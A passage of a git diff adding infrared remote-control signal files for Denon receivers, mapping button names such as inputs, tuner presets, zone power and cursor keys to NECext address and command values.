+protocol: NECext +address: 04 03 00 00 +command: 197 00 00 00 +# +name: ZONE2_TONE_CONTROL_ON_/_DEFEAT_OFF +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 198 00 00 00 +# +name: ZONE2_SURROUND_PARAMETER +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 1C0 00 00 00 +# +name: ZONE2_CINEMA_EQ_ON +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 1C6 00 00 00 +# +name: ZONE2_CINEMA_EQ_OFF +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 1C7 00 00 00 +# +name: ZONE2_SB_SPEAKER_MATRIX_ON +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 1F1 00 00 00 +# +name: ZONE2_SB_SPEAKER_MATRIX_OFF +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 1F2 00 00 00 +# +name: ZONE2_SB_SPEAKER_OFF +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 1F3 00 00 00 +# +name: ZONE2_SB_SPEAKER_TOGGLE_ON/OFF +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 206 00 00 00 +# +name: ZONE2_FRONT_SPEAKER +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 20A 00 00 00 +# +name: ZONE2_NIGHT_MODE +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 222 00 00 00 +# +name: ZONE2_RESTORE +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 224 00 00 00 +# +name: ZONE2_SURROUND_SPEAKER_SELECT +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 228 00 00 00 +# +name: ZONE2_SYSTEM_SETUP +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 230 00 00 00 +# +name: ZONE2_AUDIO_DELAY +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 26C 00 00 00 +# +name: ZONE2_AUDIO_DELAY_UP +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 26D 00 00 00 +# +name: ZONE2_AUDIO_DELAY_DOWN +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 26E 00 00 00 +# +name: ZONE2_STATUS_REQUEST +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 285 00 00 00 +# +name: ZONE2_INPUT_IPOD +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 29B 00 00 00 +# +name: ZONE2_INPUT_INTERNET_RADIO +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 2B3 00 00 00 +# +name: ZONE2_INPUT_SOURCE_SELECT +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 2B4 00 00 00 +# +name: ZONE2_INPUT_PHONO +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 2C0 00 00 00 +# +name: ZONE2_INPUT_CD +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 2C2 00 00 00 +# +name: ZONE2_INPUT_AUX/NET/USB/ONLINE_MUSIC +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 2C7 00 00 00 +# +name: ZONE2_INPUT_AUX/NET +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 2C8 00 00 00 +# +name: ZONE2_INPUT_AUX/IPOD +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 2C9 00 00 00 +# +name: ZONE2_INPUT_AUX/USB/SIRIUS_XM/HD_RADIO +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 2CA 00 00 00 +# +name: ZONE2_INPUT_DTU/HD_RADIO +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 2CB 00 00 00 +# +name: ZONE2_INPUT_NET +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 2CC 00 00 00 +# +name: ZONE2_INPUT_IPOD/DOCK +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 2CD 00 00 00 +# +name: ZONE2_INPUT_USB +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 2CE 00 00 00 +# +name: ZONE2_INPUT_TUNER/HD_RADIO +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 2CF 00 00 00 +# +name: ZONE2_INPUT_DVD +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 2D0 00 00 00 +# +name: ZONE2_INPUT_HDP/BD +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 2D1 00 00 00 +# +name: ZONE2_INPUT_TV/CABLE/HDMI_CEC_AUDIO +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 2D2 00 00 00 +# +name: ZONE2_INPUT_SAT/CABLE +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 2D3 00 00 00 +# +name: ZONE2_INPUT_GAME/VCR +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 2D5 00 00 00 +# +name: ZONE2_INPUT_GAME2 +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 2D7 00 00 00 +# +name: ZONE2_INPUT_VCR4 +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 2D8 00 00 00 +# +name: ZONE2_INPUT_V.AUX +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 2D9 00 00 00 +# +name: ZONE2_INPUT_V.AUX_2 +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 2DA 00 00 00 +# +name: ZONE2_INPUT_DVD/HDP/BD +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 2DC 00 00 00 +# +name: ZONE2_INPUT_VCR1/2 +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 2DD 00 00 00 +# +name: ZONE2_INPUT_VCR3/4 +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 2DE 00 00 00 +# +name: ZONE2_INPUT_VCR/DVR/MEDIA_PLAYER +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 2DF 00 00 00 +# +name: ZONE2_INPUT_BLUETOOTH +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 2EF 00 00 00 +# +name: ZONE2_INPUT_PANDORA +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 2FD 00 00 00 +# +name: ZONE2_INPUT_SOURCE_SELECT_RIGHT +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 313 00 00 00 +# +name: ZONE2_INPUT_SOURCE_SELECT_LEFT +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 314 00 00 00 +# +name: ZONE2_REPEAT +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 3BC 00 00 00 +# +name: ZONE2_RANDOM/SHUFFLE +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 3BD 00 00 00 +# +name: ZONE2_USB_DIRECT_PLAY +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 3BE 00 00 00 +# +name: ZONE2_FAVORITE_DIRECT_PLAY +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 3BF 00 00 00 +# +name: ZONE2_TUNER_PRESET_CH_UP +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 3CC 00 00 00 +# +name: ZONE2_TUNER_PRESET_CH_DOWN +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 3CD 00 00 00 +# +name: ZONE2_TUNER_PRESET_SHIFT +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 3CE 00 00 00 +# +name: ZONE2_TUNER_SEARCH/RDS +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 3D7 00 00 00 +# +name: ZONE2_PLAY/PAUSE +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 3E0 00 00 00 +# +name: ZONE2_STOP +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 3E1 00 00 00 +# +name: ZONE2_TUNER_SKIP/TUNE_DOWN +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 3E3 00 00 00 +# +name: ZONE2_TUNER_SKIP/TUNE_UP +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 3E4 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/4,5.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/4,5.ir new file mode 100644 index 000000000..6db1aaa92 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/4,5.ir @@ -0,0 +1,266 @@ +Filetype: IR signals file +Version: 1 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 04 05 00 00 +command: 1B 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 04 05 00 00 +command: 1C 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 04 05 00 00 +command: 1D 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 04 05 00 00 +command: 1E 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 04 05 00 00 +command: 1F 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 04 05 00 00 +command: 22 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 04 05 00 00 +command: 23 00 00 00 +# +name: TUNER_XM_1 +type: parsed +protocol: NECext +address: 04 05 00 00 +command: 60 00 00 00 +# +name: TUNER_XM_2 +type: parsed +protocol: NECext +address: 04 05 00 00 +command: 61 00 00 00 +# +name: TUNER_XM_3 +type: parsed +protocol: NECext +address: 04 05 00 00 +command: 62 00 00 00 +# +name: TUNER_XM_4 +type: parsed +protocol: NECext +address: 04 05 00 00 +command: 63 00 00 00 +# +name: TUNER_XM_5 +type: parsed +protocol: NECext +address: 04 05 00 00 +command: 64 00 00 00 +# +name: TUNER_XM_6 +type: parsed +protocol: NECext +address: 04 05 00 00 +command: 65 00 00 00 +# +name: TUNER_XM_7 +type: parsed +protocol: NECext +address: 04 05 00 00 +command: 66 00 00 00 +# +name: TUNER_XM_8 +type: parsed +protocol: NECext +address: 04 05 00 00 +command: 67 00 00 00 +# +name: TUNER_XM_9 +type: parsed +protocol: NECext +address: 04 05 00 00 +command: 68 00 00 00 +# +name: TUNER_XM_0 +type: parsed +protocol: NECext +address: 04 05 00 00 +command: 69 00 00 00 +# +name: Z3_MUTE +type: parsed +protocol: NECext +address: 04 05 00 00 +command: 172 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 04 05 00 00 +command: 172 00 00 00 +# +name: STATUS_REQUEST +type: parsed +protocol: NECext +address: 04 05 00 00 +command: 285 00 00 00 +# +name: AUX_ZONE_3 +type: parsed +protocol: NECext +address: 04 05 00 00 +command: 2C7 00 00 00 +# +name: Z3_INP_AUX +type: parsed +protocol: NECext +address: 04 05 00 00 +command: 2C7 00 00 00 +# +name: TOGGLE_NET/USB +type: parsed +protocol: NECext +address: 04 05 00 00 +command: 2C7 00 00 00 +# +name: INPUT_XM +type: parsed +protocol: NECext +address: 04 05 00 00 +command: 2CA 00 00 00 +# +name: INPUT_HD_RADIO +type: parsed +protocol: NECext +address: 04 05 00 00 +command: 2CB 00 00 00 +# +name: INPUT_NET +type: parsed +protocol: NECext +address: 04 05 00 00 +command: 2CC 00 00 00 +# +name: INPUT_IPOD +type: parsed +protocol: NECext +address: 04 05 00 00 +command: 2CD 00 00 00 +# +name: INPUT_USB +type: parsed +protocol: NECext +address: 04 05 00 00 +command: 2CE 00 00 00 +# +name: TOGGLE_DVD/HDP +type: parsed +protocol: NECext +address: 04 05 00 00 +command: 2DC 00 00 00 +# +name: Z3_INP_VCR_1/2 +type: parsed +protocol: NECext +address: 04 05 00 00 +command: 2DD 00 00 00 +# +name: Z3_INP_VCR_3/4 +type: parsed +protocol: NECext +address: 04 05 00 00 +command: 2DE 00 00 00 +# +name: TOGGLE_VCR/DVR +type: parsed +protocol: NECext +address: 04 05 00 00 +command: 2DF 00 00 00 +# +name: Z3_REPEAT +type: parsed +protocol: NECext +address: 04 05 00 00 +command: 3BC 00 00 00 +# +name: Z3_RANDOM +type: parsed +protocol: NECext +address: 04 05 00 00 +command: 3BD 00 00 00 +# +name: Z3_USB_DIR._PLAY +type: parsed +protocol: NECext +address: 04 05 00 00 +command: 3BE 00 00 00 +# +name: Z3_FAVORITE_DIR.PLAY +type: parsed +protocol: NECext +address: 04 05 00 00 +command: 3BF 00 00 00 +# +name: Z3_PRESET_CH+ +type: parsed +protocol: NECext +address: 04 05 00 00 +command: 3CC 00 00 00 +# +name: Z3_PRESET_CH- +type: parsed +protocol: NECext +address: 04 05 00 00 +command: 3CD 00 00 00 +# +name: Z3_PRESET_SHIFT +type: parsed +protocol: NECext +address: 04 05 00 00 +command: 3CE 00 00 00 +# +name: Z3_SEARCH_(RDS) +type: parsed +protocol: NECext +address: 04 05 00 00 +command: 3D7 00 00 00 +# +name: Z3_PLAY/PAUSE +type: parsed +protocol: NECext +address: 04 05 00 00 +command: 3E0 00 00 00 +# +name: Z3_STOP +type: parsed +protocol: NECext +address: 04 05 00 00 +command: 3E1 00 00 00 +# +name: Z3_SKIP/TUNE- +type: parsed +protocol: NECext +address: 04 05 00 00 +command: 3E3 00 00 00 +# +name: Z3_SKIP/TUNE+ +type: parsed +protocol: NECext +address: 04 05 00 00 +command: 3E4 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/4,7.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/4,7.ir new file mode 100644 index 000000000..8ad9c97ee --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/4,7.ir @@ -0,0 +1,608 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_Z4_TOGGLE +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 05 00 00 00 +# +name: Z4_ON +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 06 00 00 00 +# +name: POWER_Z4_ON +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 06 00 00 00 +# +name: Z4_OFF +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 07 00 00 00 +# +name: POWER_Z4_OFF +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 07 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 1B 00 00 00 +# +name: NET_CURSOR_UP +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 1B 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 1C 00 00 00 +# +name: NET_CURSOR_DOWN +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 1C 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 1D 00 00 00 +# +name: NET_CURSOR_LEFT +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 1D 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 1E 00 00 00 +# +name: NET_CURSOR_RIGHT +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 1E 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 1F 00 00 00 +# +name: NET_ENTER +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 1F 00 00 00 +# +name: TUNER_UP +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 90 00 00 00 +# +name: TUNER_DOWN +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 91 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 92 00 00 00 +# +name: NET_PRESET+ +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 92 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 93 00 00 00 +# +name: NET_PRESET- +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 93 00 00 00 +# +name: NET_SHIFT +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 94 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 9C 00 00 00 +# +name: MEMO +type: parsed +protocol: NECext +address: 04 07 00 00 +command: A0 00 00 00 +# +name: NET_MEMORY +type: parsed +protocol: NECext +address: 04 07 00 00 +command: A0 00 00 00 +# +name: SEARCH +type: parsed +protocol: NECext +address: 04 07 00 00 +command: A3 00 00 00 +# +name: NET_PG./CHAR._SRCH. +type: parsed +protocol: NECext +address: 04 07 00 00 +command: A3 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 04 07 00 00 +command: B0 00 00 00 +# +name: NET_1 +type: parsed +protocol: NECext +address: 04 07 00 00 +command: B0 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 04 07 00 00 +command: B1 00 00 00 +# +name: NET_2 +type: parsed +protocol: NECext +address: 04 07 00 00 +command: B1 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 04 07 00 00 +command: B2 00 00 00 +# +name: NET_3 +type: parsed +protocol: NECext +address: 04 07 00 00 +command: B2 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 04 07 00 00 +command: B3 00 00 00 +# +name: NET_4 +type: parsed +protocol: NECext +address: 04 07 00 00 +command: B3 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 04 07 00 00 +command: B4 00 00 00 +# +name: NET_5 +type: parsed +protocol: NECext +address: 04 07 00 00 +command: B4 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 04 07 00 00 +command: B5 00 00 00 +# +name: NET_6 +type: parsed +protocol: NECext +address: 04 07 00 00 +command: B5 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 04 07 00 00 +command: B6 00 00 00 +# +name: NET_7 +type: parsed +protocol: NECext +address: 04 07 00 00 +command: B6 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 04 07 00 00 +command: B7 00 00 00 +# +name: NET_8 +type: parsed +protocol: NECext +address: 04 07 00 00 +command: B7 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 04 07 00 00 +command: B8 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 04 07 00 00 +command: B9 00 00 00 +# +name: TUNER_A +type: parsed +protocol: NECext +address: 04 07 00 00 +command: F8 00 00 00 +# +name: NET_SHIFT_A +type: parsed +protocol: NECext +address: 04 07 00 00 +command: F8 00 00 00 +# +name: TUNER_B +type: parsed +protocol: NECext +address: 04 07 00 00 +command: F9 00 00 00 +# +name: NET_SHIFT_B +type: parsed +protocol: NECext +address: 04 07 00 00 +command: F9 00 00 00 +# +name: TUNER_C +type: parsed +protocol: NECext +address: 04 07 00 00 +command: FA 00 00 00 +# +name: NET_SHIFT_C +type: parsed +protocol: NECext +address: 04 07 00 00 +command: FA 00 00 00 +# +name: TUNER_D +type: parsed +protocol: NECext +address: 04 07 00 00 +command: FB 00 00 00 +# +name: NET_SHIFT_D +type: parsed +protocol: NECext +address: 04 07 00 00 +command: FB 00 00 00 +# +name: TUNER_E +type: parsed +protocol: NECext +address: 04 07 00 00 +command: FC 00 00 00 +# +name: NET_SHIFT_E +type: parsed +protocol: NECext +address: 04 07 00 00 +command: FC 00 00 00 +# +name: TUNER_F +type: parsed +protocol: NECext +address: 04 07 00 00 +command: FD 00 00 00 +# +name: NET_SHIFT_F +type: parsed +protocol: NECext +address: 04 07 00 00 +command: FD 00 00 00 +# +name: TUNER_G +type: parsed +protocol: NECext +address: 04 07 00 00 +command: FE 00 00 00 +# +name: NET_SHIFT_G +type: parsed +protocol: NECext +address: 04 07 00 00 +command: FE 00 00 00 +# +name: STATUS_REQUEST +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 285 00 00 00 +# +name: INPUT_PHONO +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 2C0 00 00 00 +# +name: INPUT_TUNER +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 2C1 00 00 00 +# +name: INPUT_CD +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 2C2 00 00 00 +# +name: TOGGLE_NET/USB +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 2C7 00 00 00 +# +name: INPUT_XM +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 2CA 00 00 00 +# +name: INPUT_HD_RADIO +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 2CB 00 00 00 +# +name: INPUT_NET +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 2CC 00 00 00 +# +name: INPUT_IPOD +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 2CD 00 00 00 +# +name: INPUT_USB +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 2CE 00 00 00 +# +name: INPUT_DVD +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 2D0 00 00 00 +# +name: INPUT_HDP +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 2D1 00 00 00 +# +name: INPUT_TV/CBL +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 2D2 00 00 00 +# +name: INPUT_SAT +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 2D3 00 00 00 +# +name: INPUT_VCR +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 2D5 00 00 00 +# +name: INPUT_DVR +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 2D6 00 00 00 +# +name: INPUT_V.AUX +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 2D9 00 00 00 +# +name: TOGGLE_DVD/HDP +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 2DC 00 00 00 +# +name: TOGGLE_VCR/DVR +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 2DF 00 00 00 +# +name: NET_PLAY +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 305 00 00 00 +# +name: NET_PAUSE +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 306 00 00 00 +# +name: NET_STOP +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 307 00 00 00 +# +name: NET_SKIP_+ +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 308 00 00 00 +# +name: NET_SKIP_- +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 309 00 00 00 +# +name: NET_REPEAT_ONE +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 30A 00 00 00 +# +name: NET_REPEAT_OFF +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 30B 00 00 00 +# +name: NET_RANDON_ON +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 30C 00 00 00 +# +name: NET_RANDOM_OFF +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 30D 00 00 00 +# +name: NET_REPEAT_ALL +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 311 00 00 00 +# +name: NET_STATUS_REQUEST +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 316 00 00 00 +# +name: Z4_REPEAT +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 3BC 00 00 00 +# +name: Z4_RANDOM +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 3BD 00 00 00 +# +name: Z4_USB_DIR._PLAY +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 3BE 00 00 00 +# +name: Z4_FAVORITE_DIR.PLAY +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 3BF 00 00 00 +# +name: Z4_PRESET_CH+ +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 3CC 00 00 00 +# +name: Z4_PRESET_CH- +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 3CD 00 00 00 +# +name: Z4_PRESET_SHIFT +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 3CE 00 00 00 +# +name: Z4_SEARCH_(RDS) +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 3D7 00 00 00 +# +name: Z4_PLAY/PAUSE +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 3E0 00 00 00 +# +name: Z4_STOP +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 3E1 00 00 00 +# +name: Z4_SKIP/TUNE- +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 3E3 00 00 00 +# +name: Z4_SKIP/TUNE+ +type: parsed +protocol: NECext +address: 04 07 00 00 +command: 3E4 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/6,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/6,-1.ir new file mode 100644 index 000000000..0f075243a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/6,-1.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: VDP_POWER +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 81 00 00 00 +# +name: VDP_POWER_(DISC_SKIP +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 81 00 00 00 +# +name: VDP_STOP_[] +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 83 00 00 00 +# +name: VDP_PLAY_> +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 84 00 00 00 +# +name: VDP_PAUSE_ +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 85 00 00 00 +# +name: VDP_SKIP_>> +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 86 00 00 00 +# +name: VDP_>> +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 86 00 00 00 +# +name: VDP_SKIP_<< +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 87 00 00 00 +# +name: VDP_<< +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 87 00 00 00 +# +name: VDP_SCAN_>> +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 88 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 88 00 00 00 +# +name: VDP_>> +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 88 00 00 00 +# +name: VDP_FFWD_>> +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 88 00 00 00 +# +name: VDP_SCAN_<< +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 89 00 00 00 +# +name: VDP_<< +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 89 00 00 00 +# +name: VDP_REW_<< +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 89 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 06 00 00 00 +command: C0 00 00 00 +# +name: MD-STOP +type: parsed +protocol: NECext +address: 06 00 00 00 +command: E1 00 00 00 +# +name: MD-PLAY +type: parsed +protocol: NECext +address: 06 00 00 00 +command: E2 00 00 00 +# +name: MD-PAUSE +type: parsed +protocol: NECext +address: 06 00 00 00 +command: E3 00 00 00 +# +name: MD-FF +type: parsed +protocol: NECext +address: 06 00 00 00 +command: E9 00 00 00 +# +name: MD-RW +type: parsed +protocol: NECext +address: 06 00 00 00 +command: EA 00 00 00 +# +name: MD-SEARCH+ +type: parsed +protocol: NECext +address: 06 00 00 00 +command: EB 00 00 00 +# +name: MD-SEARCH- +type: parsed +protocol: NECext +address: 06 00 00 00 +command: EC 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/7,4.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/7,4.ir new file mode 100644 index 000000000..f5e50e1e7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/7,4.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 07 04 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 07 04 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 07 04 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 07 04 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 07 04 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 07 04 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 07 04 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 07 04 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 07 04 00 00 +command: 09 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 07 04 00 00 +command: 0A 00 00 00 +# +name: MEMO +type: parsed +protocol: NECext +address: 07 04 00 00 +command: 0C 00 00 00 +# +name: SEARCH +type: parsed +protocol: NECext +address: 07 04 00 00 +command: 12 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 07 04 00 00 +command: 15 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 07 04 00 00 +command: 16 00 00 00 +# +name: BAND +type: parsed +protocol: NECext +address: 07 04 00 00 +command: 17 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 07 04 00 00 +command: 18 00 00 00 +# +name: TUNER_UP +type: parsed +protocol: NECext +address: 07 04 00 00 +command: 19 00 00 00 +# +name: TUNER_DOWN +type: parsed +protocol: NECext +address: 07 04 00 00 +command: 1A 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 07 04 00 00 +command: 42 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 07 04 00 00 +command: 45 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 07 04 00 00 +command: 46 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 07 04 00 00 +command: 47 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 07 04 00 00 +command: 48 00 00 00 +# +name: TUNER_A +type: parsed +protocol: NECext +address: 07 04 00 00 +command: 60 00 00 00 +# +name: TUNER_B +type: parsed +protocol: NECext +address: 07 04 00 00 +command: 61 00 00 00 +# +name: TUNER_C +type: parsed +protocol: NECext +address: 07 04 00 00 +command: 62 00 00 00 +# +name: TUNER_D +type: parsed +protocol: NECext +address: 07 04 00 00 +command: 63 00 00 00 +# +name: TUNER_E +type: parsed +protocol: NECext +address: 07 04 00 00 +command: 64 00 00 00 +# +name: TUNER_F +type: parsed +protocol: NECext +address: 07 04 00 00 +command: 65 00 00 00 +# +name: TUNER_G +type: parsed 